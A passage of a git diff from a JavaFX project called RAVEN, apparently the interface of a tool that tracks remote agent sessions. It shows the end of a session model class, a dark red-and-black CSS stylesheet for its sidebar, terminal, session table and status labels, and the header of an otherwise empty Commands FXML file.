SimpleStringProperty(S.GetDisplayName()); + Ip = new SimpleStringProperty(S.GetAgentIp()); + Os = new SimpleStringProperty(S.GetOs()); + User = new SimpleStringProperty(S.GetUser()); + Host = new SimpleStringProperty(S.GetHostname()); + Joined = new SimpleStringProperty(S.GetSessionKey()); + } + + public String getId() { return Id.get(); } + public String getType() { return Type.get(); } + public String getName() { return Name.get(); } + public String getIp() { return Ip.get(); } + public String getOs() { return Os.get(); } + public String getUser() { return User.get(); } + public String getHost() { return Host.get(); } + public String getJoined() { return Joined.get(); } + + public SimpleStringProperty IdProperty() { return Id; } + public SimpleStringProperty TypeProperty() { return Type; } + public SimpleStringProperty NameProperty() { return Name; } + public SimpleStringProperty IpProperty() { return Ip; } + public SimpleStringProperty OsProperty() { return Os; } + public SimpleStringProperty UserProperty() { return User; } + public SimpleStringProperty HostProperty() { return Host; } + public SimpleStringProperty JoinedProperty() { return Joined; } +} diff --git a/src/main/java/com/raven/interface/GUI/styles/css/raven.css b/src/main/java/com/raven/interface/GUI/styles/css/raven.css new file mode 100644 index 0000000..50581bb --- /dev/null +++ b/src/main/java/com/raven/interface/GUI/styles/css/raven.css @@ -0,0 +1,403 @@ +/* ═══════════════════════════════════════════ + RAVEN — Main Stylesheet + ═══════════════════════════════════════════ */ + +/* ── Root ────────────────────────────────── */ +.root { + -fx-background-color: #050505; + -fx-font-family: "Segoe UI"; +} + +/* ── Sidebar ─────────────────────────────── */ +.sidebar { + -fx-background-color: linear-gradient(to bottom, #120006, #050505); + -fx-border-color: transparent #ff1f3d transparent transparent; + -fx-border-width: 0 1.5 0 0; +} + +.sidebar-divider { + -fx-background-color: #2a2a31; + -fx-padding: 4 16 4 16; +} + +.sidebar-footer { + -fx-border-color: #2a2a31 transparent transparent transparent; + -fx-border-width: 1 0 0 0; +} + +.logo-icon { + -fx-text-fill: #ff1f3d; + -fx-font-size: 38px; + -fx-font-weight: bold; +} + +.logo-name { + -fx-text-fill: #ffffff; + -fx-font-size: 28px; + -fx-font-weight: bold; +} + +.logo-tag { + -fx-text-fill: #a7a7ad; + -fx-font-size: 10px; +} + +/* ── Mini Info Cards ─────────────────────── */ +.meta-info-card { + -fx-background-color: rgba(255, 31, 61, 0.08); + -fx-background-radius: 12; + -fx-border-color: rgba(255, 31, 61, 0.45); + -fx-border-radius: 12; + -fx-padding: 10 12 10 12; +} + +/* ── Top Bar ─────────────────────────────── */ +.topbar { + -fx-background-color: linear-gradient(to right, #050505, #120006); + -fx-border-color: transparent transparent #ff1f3d transparent; + -fx-border-width: 0 0 1.5 0; +} + +.topbar-title { + -fx-text-fill: #ffffff; + -fx-font-size: 20px; + -fx-font-weight: bold; +} + +.topbar-sub { + -fx-text-fill: #a7a7ad; + -fx-font-size: 10px; +} + +/* ── Tab Pane ────────────────────────────── */ +.tab-pane { + -fx-background-color: #050505; + -fx-tab-min-height: 42px; + -fx-tab-max-height: 42px; +} + +.tab-pane .tab-header-area .tab-header-background { + -fx-background-color: #0b0b0d; +} + +.tab-pane .tab { + -fx-background-color: transparent; + -fx-text-fill: #a7a7ad; + -fx-font-size: 11px; + -fx-font-weight: bold; + -fx-cursor: hand; +} + +.tab-pane .tab:selected { + -fx-background-color: #ff1f3d; +} + +.tab-pane .tab:selected .tab-label { + -fx-text-fill: #ffffff; +} + +/* ── Tab Content ─────────────────────────── */ +.tab-content { + -fx-background-color: #050505; +} + +.tab-scroll { + -fx-background-color: #050505; +} + +.tab-scroll > .viewport { + -fx-background-color: #050505; +} + +/* ── Panel Card ──────────────────────────── */ +.panel-card { + -fx-background-color: linear-gradient(to bottom right, #111114, #090909); + -fx-background-radius: 18; + -fx-border-color: #2a2a31; + -fx-border-radius: 18; + -fx-effect: dropshadow(gaussian, rgba(255, 31, 61, 0.12), 18, 0.16, 0, 8); +} + +.stat-card { + -fx-background-color: linear-gradient(to bottom right, #111114, #070707); + -fx-background-radius: 18; + -fx-border-radius: 18; + -fx-effect: dropshadow(gaussian, rgba(255, 31, 61, 0.16), 22, 0.22, 0, 10); + -fx-min-height: 104; +} + +/* ── Input Fields ────────────────────────── */ +.input-field { + -fx-background-color: #17171c; + -fx-text-fill: #ffffff; + -fx-prompt-text-fill: #a7a7ad; + -fx-font-family: "Consolas"; + -fx-font-size: 11px; + -fx-padding: 9 12 9 12; + -fx-background-radius: 9; + -fx-border-color: #2a2a31; + -fx-border-radius: 9; +} + +.input-field:focused { + -fx-border-color: #ff1f3d; + -fx-effect: dropshadow(gaussian, rgba(255, 31, 61, 0.25), 8, 0.2, 0, 0); +} + +/* ── Terminal Area ───────────────────────── */ +.terminal-area { + -fx-background-color: #050812; + -fx-control-inner-background: #050812; + -fx-text-fill: #ffffff; + -fx-highlight-fill: #ff1f3d; + -fx-font-family: "Consolas"; + -fx-font-size: 11px; + -fx-padding: 12 14 12 14; + -fx-background-radius: 12; + -fx-border-color: #2a2a31; + -fx-border-radius: 12; +} + +.terminal-area .content { + -fx-background-color: #050812; +} + +.terminal-area .scroll-pane { + -fx-background-color: #050812; +} + +/* ── Buttons ─────────────────────────────── */ +.btn-danger { + -fx-background-color: #ff1f3d; + -fx-text-fill: #ffffff; + -fx-border-color: #ff1f3d; + -fx-border-width: 1.2; + -fx-border-radius: 10; + -fx-font-family: "Segoe UI"; + -fx-font-size: 10px; + -fx-font-weight: bold; + -fx-padding: 8 16 8 16; + -fx-background-radius: 10; + -fx-cursor: hand; +} + +.btn-danger:hover { + -fx-background-color: #cc1830; + -fx-effect: dropshadow(gaussian, rgba(255, 31, 61, 0.4), 10, 0.3, 0, 0); +} + +.btn-danger:disabled { + -fx-opacity: 0.4; +} + +.btn-outline { + -fx-background-color: transparent; + -fx-text-fill: #ffffff; + -fx-border-color: #ffffff; + -fx-border-width: 1.2; + -fx-border-radius: 10; + -fx-font-family: "Segoe UI"; + -fx-font-size: 10px; + -fx-font-weight: bold; + -fx-padding: 8 16 8 16; + -fx-background-radius: 10; + -fx-cursor: hand; +} + +.btn-outline:hover { + -fx-background-color: rgba(255, 255, 255, 0.08); +} + +.btn-accent { + -fx-background-color: #ffffff; + -fx-text-fill: #050505; + -fx-border-color: #ffffff; + -fx-border-width: 1.2; + -fx-border-radius: 10; + -fx-font-family: "Segoe UI"; + -fx-font-size: 10px; + -fx-font-weight: bold; + -fx-padding: 8 16 8 16; + -fx-background-radius: 10; + -fx-cursor: hand; +} + +.btn-accent:hover { + -fx-background-color: #d6d6db; +} + +/* ── Session Table ───────────────────────── */ +.session-table { + -fx-background-color: #101014; + -fx-control-inner-background: #101014; + -fx-table-cell-border-color: #2a2a31; + -fx-table-header-border-color: #2a2a31; + -fx-text-fill: #ffffff; + -fx-background-radius: 12; +} + +.session-table .column-header-background { + -fx-background-color: #17171c; +} + +.session-table .column-header .label { + -fx-text-fill: #a7a7ad; + -fx-font-weight: bold; + -fx-font-size: 10px; +} + +.session-table .table-row-cell { + -fx-background-color: #101014; + -fx-border-color: transparent transparent #2a2a31 transparent; + -fx-border-width: 0 0 1 0; + -fx-text-fill: #ffffff; +} + +.session-table .table-row-cell:selected { + -fx-background-color: rgba(255, 31, 61, 0.15); + -fx-border-color: transparent transparent #ff1f3d transparent; +} + +.session-table .table-row-cell:hover { + -fx-background-color: rgba(255, 255, 255, 0.04); +} + +.session-table .table-cell { + -fx-text-fill: #ffffff; + -fx-alignment: CENTER_LEFT; + -fx-font-size: 11px; +} + +/* ── Labels ──────────────────────────────── */ +.muted-text { + -fx-text-fill: #a7a7ad; + -fx-font-size: 9px; +} + +.accent-text { + -fx-text-fill: #ffffff; + -fx-font-size: 9px; +} + +.label-danger { + -fx-text-fill: #ff1f3d; + -fx-font-size: 9px; +} + +.label-danger-bold { + -fx-text-fill: #ff1f3d; + -fx-font-size: 9px; + -fx-font-weight: bold; +} + +.status-offline { + -fx-text-fill: #ff1f3d; + -fx-font-size: 11px; + -fx-font-weight: bold; +} + +.status-online { + -fx-text-fill: #ffffff; + -fx-font-size: 11px; + -fx-font-weight: bold; +} + +.server-status-offline { + -fx-text-fill: #ff1f3d; + -fx-font-size: 16px; + -fx-font-weight: bold; +} + +.server-status-online { + -fx-text-fill: #ffffff; + -fx-font-size: 16px; + -fx-font-weight: bold; +} + +.prompt-label { + -fx-text-fill: #ffffff; + -fx-font-size: 11px; + -fx-font-weight: bold; +} + +.prompt-danger { + -fx-text-fill: #ff1f3d; + -fx-font-size: 16px; + -fx-font-weight: bold; +} + +/* ── Dividers ────────────────────────────── */ +.v-divider { + -fx-background-color: #2a2a31; + -fx-pref-width: 1; + -fx-pref-height: 20; +} + +.separator { + -fx-background-color: #2a2a31; +} + +/* ── Scrollbars ──────────────────────────── */ +.scroll-bar { + -fx-background-color: #0b0b0d; +} + +.scroll-bar .thumb { + -fx-background-color: #2a2a31; + -fx-background-radius: 4; +} + +.scroll-bar .thumb:hover { + -fx-background-color: #ff1f3d; +} + +.scroll-bar .track { + -fx-background-color: transparent; +} + +.scroll-bar .increment-button, +.scroll-bar .decrement-button { + -fx-background-color: transparent; + -fx-padding: 0; +} + +/* ── Login Grid ──────────────────────────── */ +.login-grid { + -fx-background-color: #050505; +} + +/* ── Alert / Dialog ──────────────────────── */ +.dialog-pane { + -fx-background-color: #050505; + -fx-border-color: #2a2a31; +} + +.dialog-pane .header-panel { + -fx-background-color: #0b0b0d; +} + +.dialog-pane .header-panel .label { + -fx-text-fill: #ffffff; + -fx-font-weight: bold; +} + +.dialog-pane .content.label { + -fx-text-fill: #a7a7ad; +} + +.dialog-pane .button-bar .button { + -fx-background-color: #ff1f3d; + -fx-text-fill: #ffffff; + -fx-border-radius: 8; + -fx-background-radius: 8; + -fx-cursor: hand; +} + +/* ── Toolbar Row ─────────────────────────── */ +.toolbar { + -fx-padding: 0; +} + +.cmd-row { + -fx-padding: 0; +} diff --git a/src/main/java/com/raven/interface/GUI/styles/xml/Commands.fxml b/src/main/java/com/raven/interface/GUI/styles/xml/Commands.fxml new file mode 100644 index 0000000..272ebf5 --- /dev/null +++ b/src/main/java/com/raven/interface/GUI/styles/xml/Commands.fxml @@ -0,0 +1,39 @@ + + + + + + + + + + + + + + + +